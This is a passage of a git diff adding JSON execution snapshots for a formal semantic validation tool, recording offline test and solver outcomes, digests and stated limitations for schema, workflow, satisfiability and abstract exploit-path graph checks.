"schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-218-execution-v42", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml" + ], + "execution_id": "issue-218-execution-v42", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "fadacf4359c97415f5433563e675d454c587917c85064b625d9756e4da1c4967", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml" + ], + "execution_id": "issue-218-execution-v42", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-218-execution-v42", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-218-execution-v42", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-218-execution-v42", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-218-execution-v42", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-218-execution-v42", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-218-execution-v42", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-218-execution-v42", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-218-execution-v42", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "implementations/python/tests/test_pipeline_determinism.py" + ], + "execution_id": "issue-218-execution-v42", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-218-execution-v42", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-218-execution-v42", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-218-execution-v42", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-218-execution-v42", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-218-execution-v42", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-218-execution-v42", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-218-execution-v42", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-218-execution-v42", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-218-execution-v42", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-218-execution-v42", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-218-execution-v42", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-218-execution-v42", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-218-execution-v42", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-218-execution-v42", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "17400d6b636ae0a0565dda2387f48f331345d7eb", + "source_state": { + "base_revision": "17400d6b636ae0a0565dda2387f48f331345d7eb", + "checkout_state": "modified", + "implementation_digest": "74695f384981d36da3958afa45bd835b78e90e0020ea99a5954ad1cffebe39ef", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.13.13", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v44.json b/docs/research/formal-semantic-validation/execution-snapshot-v44.json new file mode 100644 index 000000000..aabcd40ef --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v44.json @@ -0,0 +1,652 @@ +{ + "baseline": { + "execution_id": "issue-1338-execution-v41", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v41.json", + "release_revision": "42.0.0", + "release_sha256": "7a0b838003e4006df8196e26b6cbde304a1a21cd212cc3d28b1da8f17e00d3a2" + }, + "captured_at": "2026-09-21T14:17:49.607197+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v41", + "corpus_revision": "4.0.0", + "deviations": [], + "execution_id": "issue-218-execution-v44", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-218-execution-v44", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-218-execution-v44", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-218-execution-v44", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "652288785dc09095955ed3649f6407d616fb7c4d4f4188df4ed513ccb7537e0b", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-218-execution-v44", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-218-execution-v44", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-218-execution-v44", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml" + ], + "execution_id": "issue-218-execution-v44", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml" + ], + "execution_id": "issue-218-execution-v44", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-218-execution-v44", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-218-execution-v44", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-218-execution-v44", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-218-execution-v44", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml" + ], + "execution_id": "issue-218-execution-v44", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + 